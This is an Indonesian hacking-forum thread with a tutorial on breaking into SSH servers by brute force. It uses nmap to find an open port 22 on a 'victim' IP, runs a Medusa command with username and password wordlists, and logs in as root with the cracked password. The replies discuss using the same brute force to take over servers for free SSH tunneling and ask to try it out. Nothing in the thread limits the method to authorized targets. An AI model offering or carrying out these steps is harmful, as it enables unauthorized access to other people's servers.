[[H2]]

Kebetulan belum ada yang membahas tools Medusa, so. saya coba bahas ya =)

Keterangan:
SSH Atau Secure Shell adalah sebuah protokol jaringan di mana klien dapat bertukar data melalui jaringan yang aman antara dua perangkat sebagai jaringan remote. hal ini banyak digunakan dalam Operasi sistem GNU Linux dan Unix.

Medusa:
medusa adalah alat BruteForce dengan pelayanan yang cepat untuk menampilkan password "SSH,FTP,HTTP,MySQL,Telnet, VNC dan banyak lagi.

Equipments :
1. medusa
2. Nmap

Scan ip yang menjadi target kita menggunakan Nmap

Code:

# nmap -sV xxx.xxx.xxx

-sV : Probe open ports to determine service/version info
xxx.xxx.xxx.xxx : ip-victim

Spoiler! :

terlihat pada gambar diatas, port 22 service ssh terbuka jadi sangat besar kemungkinan kita dapat melakukan pengeksploitasian =)

selanjutnya kita BruteForce menggunakan Medusa untuk mengetahui username dan password victim:

Code:

# medusa -h xxx.xxx.xxx.xxx -U USER.txt -P PASS.txt -e ns -M ssh -v 4

-h : Target hostname or IP address
-U : File containing usernames
-P : File containing passwords
-e : Additional password checks ([n] No Password, [s] Password = Username)
-M : Name of the module to execute
-v : Verbose level

Spoiler! :

ACCOUNT FOUND =))
Username = root
Password = r00t

sekarang mari kita login

Code:

# ssh [email protected]

Spoiler! :

Sukses =))

CATATAN: pada dasarnya tidak semudah seperti dalam pengujian yang saya lakukan, bahwa Anda harus mempersiapkan wordlist yang besar serta keberuntungan yang berpihak kepada anda =)

Regards IBT

source

[Elfnine-x3]

huum.,..oh iya apakah konsep seperti ini yang biasa di gunakan beberapa orang untuk mencari akun SSH tunneling untuk internet gratis dari beberpa provider sepert Sma****fre* dll ???

[alkaaf]

huum.,..oh iya apakah konsep seperti ini yang biasa di gunakan beberapa orang untuk mencari akun SSH tunneling untuk internet gratis dari beberpa provider sepert Sma****fre* dll ???

ssh nya beda om. diatas tuh ssh nya untuk remote. sedangkan inet gratis ssh dipakai tunneling. tapi kalo masalah bruteforece mungkin bisa bro.

[m0nk3y]

om..
ane nubi nih... mau tanya..

Wordlistnya disimpan di mana ya ..?

salam kenal...\m/

[drewcode]

om..
ane nubi nih... mau tanya..

Wordlistnya disimpan di mana ya ..?

salam kenal...\m/

penyimpanan wordlist bebas om dimana aja.. asal jangan taro di toples =)) nanti susah di panggilnya :p

taro aja di directiory root, jadi nanti tinggal
medusa -h xxx.xxx.xxx.xxx -U USER.txt -P PASS.txt -e ns -M ssh -v 4

[abdilahrf]

ane posting ke blog ya postinganya om H2
http://indonesianbacktrack.or.id/forum/thread-5035.html

---

- ini http://jabodetabek.indonesianbacktrack.o...edusa.html

[[H2]]

ane posting ke blog ya postinganya om H2
/forum/thread-5035.html

---

- ini /2013/12/breaking-into-ssh-using-medusa.html

silahkan mas :-bd

[badwolves1986]

Wih keren pake medusa ijin cobain omz

[mywisdom]

nice share bro

[zee eichel]

huum.,..oh iya apakah konsep seperti ini yang biasa di gunakan beberapa orang untuk mencari akun SSH tunneling untuk internet gratis dari beberpa provider sepert Sma****fre* dll ???

ssh nya beda om. diatas tuh ssh nya untuk remote. sedangkan inet gratis ssh dipakai tunneling. tapi kalo masalah bruteforece mungkin bisa bro.

bisa menjadi kemungkinan bro krn notabenenya orang butuh server dengan koneksi ssh buat bikin tunneling jadi metode bruteforce ini bisa menjadi salah satu metode untuk dapetin server